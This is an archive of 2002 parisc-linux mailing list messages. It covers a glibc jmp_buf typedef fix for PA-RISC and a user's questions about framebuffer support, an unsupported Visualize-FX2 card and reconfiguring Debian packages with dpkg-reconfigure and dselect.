Message-ID: <20020823161432.GF4764@systemhalted>
References: <20020823131634.GA3229@systemhalted> <20020823153600.GS8214@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621640 12838 80.91.229.3 (22 Nov 2014 02:00:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 10:16:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BDFC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 10:16:49 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17iH4y-0001Os-00; Fri, 23 Aug 2002 12:14:32 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020823153600.GS8214@tausq.org>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (68% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15880

> >  #ifndef	_ASM
> > -typedef double __jmp_buf[21];
> > +typedef int __jmp_buf[21] __attribute__ ((aligned (8)));
> >  #endif
> 
> this should now be
> typedef int __jmp_buf[42] __attribute__ ((aligned (8)));
> (sizeof(double) == 2 * sizeof(int))
> 

Correct. Thanks! I've been working in a mixed 32/64-bit mode
for most of the week trying to get sigcontext right... that sometimes
I miss the simple things :}

Can you find example jmpbuf usages that break this?

c.



From - Thu Nov 08 21:24:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Question (fbdev, fbset, debconf)
Date: Fri, 23 Aug 2002 21:59:52 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <001a01c24adf$a5d50a00$a80251d9@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621640 12843 80.91.229.3 (22 Nov 2014 02:00:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:40 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 13:59:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DE03482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 13:59:31 -0600 (MDT)
Original-Received: from [195.20.224.204] (helo=mrvdomng3.kundenserver.de)
	by moutvdomng2.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17iKag-0005rB-00
	for parisc-linux@lists.parisc-linux.org; Fri, 23 Aug 2002 21:59:30 +0200
Original-Received: from [217.81.2.168] (helo=PLUTO)
	by mrvdomng3.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17iKaf-0001qL-00
	for parisc-linux@lists.parisc-linux.org; Fri, 23 Aug 2002 21:59:30 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15881

Hello,

after a long search in the archives and elsewhere this is seems to be
the only remaining place to ask.

I have a fresh install of Debian 3.0 on my HP Visualize C200. Everything
went fine, except:

X server: no screens found.

So I tried to run fbset or debconf, but even though I said yes when
asked whether I wanted frame buffer support during the installation, and
even though the debconf package is installed, I do not have any fbset or
debonf executables on my hard disk.

There is also no /dev/fbdev.

So which is the command to configure my Linux? How do I get a
/dev/fbdev?

Cheers,
Tobias




From - Thu Nov 08 21:24:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Question (fbdev, fbset, debconf)
Date: Sat, 24 Aug 2002 00:16:14 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <002601c24af2$b31da240$a80251d9@PLUTO>
References: <3D66B277.4020002@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621641 12845 80.91.229.3 (22 Nov 2014 02:00:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:41 +0000 (UTC)
Cc: "'B. Douglas Hilton'" <bdhilton@charter.net>
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 16:22:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90D34482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 16:22:11 -0600 (MDT)
Original-Received: from [195.20.224.204] (helo=mrvdomng3.kundenserver.de)
	by moutvdomng2.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17iMie-0008TZ-00; Sat, 24 Aug 2002 00:15:52 +0200
Original-Received: from [217.81.2.168] (helo=PLUTO)
	by mrvdomng3.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17iMid-0005Lz-00; Sat, 24 Aug 2002 00:15:51 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
In-Reply-To: <3D66B277.4020002@charter.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15882

> First of all, what kind of graphics card 
> do you have in it?

Hmm - all I know is: A4552A. I didn't see a list of supported
graphics cards anywhere. Where do I look?

In any case I will try a newer kernel.

Cheers,
Tobias




From - Thu Nov 08 21:24:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] So what about debconf?
Date: Sat, 24 Aug 2002 00:45:53 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <002801c24af6$dbf85350$a80251d9@PLUTO>
References: <001a01c24adf$a5d50a00$a80251d9@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621641 12850 80.91.229.3 (22 Nov 2014 02:00:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:41 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 16:45:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B2BE483F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 16:45:39 -0600 (MDT)
Original-Received: from [195.20.224.198] (helo=mrvdomng3.kundenserver.de)
	by moutvdomng3.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17iNBS-0004s0-00
	for parisc-linux@lists.parisc-linux.org; Sat, 24 Aug 2002 00:45:38 +0200
Original-Received: from [217.81.2.168] (helo=PLUTO)
	by mrvdomng3.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17iNBR-0005yd-00
	for parisc-linux@lists.parisc-linux.org; Sat, 24 Aug 2002 00:45:38 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
In-Reply-To: <001a01c24adf$a5d50a00$a80251d9@PLUTO>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15883

Hello,

the other problem is even more puzzling for me: 

how do I get back into the text mode UI in order to select and install
new packages? Somewhere in the archives it says "run debconf" but Debian
did not install any executable file with that name.

Please, give me a hint! Currently, I'm just guessing package names and
installing them using the apt-get command line ...

Thanks.

Tobias




From - Thu Nov 08 21:24:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question (fbdev, fbset, debconf)
Date: Fri, 23 Aug 2002 19:02:13 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <3D66BEF5.6030000@charter.net>
References: <002701c24af3$c5cb2b50$a80251d9@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621641 12852 80.91.229.3 (22 Nov 2014 02:00:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tobias Giesen <tobias_subscriber@tgtools.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 17:01:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx03.cluster1.charter.net (dc-mx03.cluster1.charter.net [209.225.8.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CA1B482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 17:01:21 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx03.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 72894377; Fri, 23 Aug 2002 19:00:00 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15884

An A4552A is a Visualize-FX2. Supposedly a very good
graphics board but sadly AFAIK it is not supported
yet for X11. Unsure if it will work at all. You may
need to run in serial-console mode until it is completed,
or try and get a used cheap Visualize-EG card somewhere.



Tobias Giesen wrote:
>>First of all, what kind of graphics card 
>>do you have in it?
> 
> 
> Hmm - all I know is: A4552A. I didn't see a list of supported
> graphics cards anywhere. Where do I look?
> 
> In any case I will try a newer kernel.
> 
> Cheers,
> Tobias
> 
> 
> 





From - Thu Nov 08 21:24:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] So what about debconf?
Date: Fri, 23 Aug 2002 17:02:09 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20020823230209.BC19B37F2E@carmen.fc.hp.com>
References: <002801c24af6$dbf85350$a80251d9@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621642 12856 80.91.229.3 (22 Nov 2014 02:00:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 17:02:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id B79E84852
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 17:02:15 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp2b.fc.hp.com [15.15.136.253])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 29785A00781; Fri, 23 Aug 2002 19:02:11 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 7014337E83; Fri, 23 Aug 2002 17:02:10 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 60CE14086; Fri, 23 Aug 2002 17:02:10 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id BC19B37F2E; Fri, 23 Aug 2002 17:02:09 -0600 (MDT)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Tobias Giesen" <tobias_subscriber@tgtools.com> 
   of "Sat, 24 Aug 2002 00:45:53 +0200." <002801c24af6$dbf85350$a80251d9@PLUTO> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15885

"Tobias Giesen" writes...

> Hello,
> 
> the other problem is even more puzzling for me: 
> 
> how do I get back into the text mode UI in order to select and install
> new packages? Somewhere in the archives it says "run debconf" but Debian
> did not install any executable file with that name.
> 
> Please, give me a hint! Currently, I'm just guessing package names and
> installing them using the apt-get command line ...

dpkg-reconfigure -plow foo

where foo is the package you want to reconfigure(-plow overrides the 
priority to low making sure it asks you all the questions). Read the man 
page for more details, in particular how to change the frontend(-ftype) and 
how to do all packages (--all).

To change your debconf preferences run

dpkg-reconfigure debconf

-- 
Matt Taggart
taggart@fc.hp.com




From - Thu Nov 08 21:24:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] So what about debconf?
Date: Sat, 24 Aug 2002 00:08:42 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20020824000842.D29958@parcelfarce.linux.theplanet.co.uk>
References: <001a01c24adf$a5d50a00$a80251d9@PLUTO> <002801c24af6$dbf85350$a80251d9@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621642 12858 80.91.229.3 (22 Nov 2014 02:00:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tobias Giesen <tobias_subscriber@tgtools.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 17:08:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DA3C482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 17:08:49 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17iNXm-00041F-00; Sat, 24 Aug 2002 00:08:42 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <002801c24af6$dbf85350$a80251d9@PLUTO>; from tobias_subscriber@tgtools.com on Sat, Aug 24, 2002 at 12:45:53AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15886

On Sat, Aug 24, 2002 at 12:45:53AM +0200, Tobias Giesen wrote:
> how do I get back into the text mode UI in order to select and install
> new packages?

dselect

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] So what about debconf?
Date: Fri, 23 Aug 2002 17:17:53 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20020823231753.C719D37F2E@carmen.fc.hp.com>
References: <001a01c24adf$a5d50a00$a80251d9@PLUTO> 
 <002801c24af6$dbf85350$a80251d9@PLUTO>  <20020824000842.D29958@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621642 12860 80.91.229.3 (22 Nov 2014 02:00:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:42 +0000 (UTC)
Cc: Tobias Giesen <tobias_subscriber@tgtools.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 17:17:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F825482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 17:17:55 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 965AFE00F0E; Fri, 23 Aug 2002 19:17:54 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 2A88537F52; Fri, 23 Aug 2002 17:17:54 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 1DE1F4086; Fri, 23 Aug 2002 17:17:54 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id C719D37F2E; Fri, 23 Aug 2002 17:17:53 -0600 (MDT)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Sat, 24 Aug 2002 00:08:42 BST." <20020824000842.D29958@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15887

Matthew Wilcox writes...

> On Sat, Aug 24, 2002 at 12:45:53AM +0200, Tobias Giesen wrote:
> > how do I get back into the text mode UI in order to select and install
> > new packages?
> 
> dselect

Oops, I answered the wrong question. I saw deconf and my brain turned off 
after that. It must be Friday...

Anyway now you know how to reconfigure packages that use debconf too :)

-- 
Matt Taggart
taggart@fc.hp.com




From - Thu Nov 08 21:24:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Question (fbdev, fbset, debconf)
Date: Sat, 24 Aug 2002 01:40:57 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <002901c24afe$88ca1990$a80251d9@PLUTO>
References: <3D66BEF5.6030000@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621643 12865 80.91.229.3 (22 Nov 2014 02:00:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:43 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 17:40:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C46A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 17:40:35 -0600 (MDT)
Original-Received: from [195.20.224.204] (helo=mrvdomng3.kundenserver.de)
	by moutvdomng2.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17iO2c-0002Md-00
	for parisc-linux@lists.parisc-linux.org; Sat, 24 Aug 2002 01:40:34 +0200
Original-Received: from [217.81.2.168] (helo=PLUTO)
	by mrvdomng3.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17iO2b-00071d-00
	for parisc-linux@lists.parisc-linux.org; Sat, 24 Aug 2002 01:40:34 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
In-Reply-To: <3D66BEF5.6030000@charter.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15888

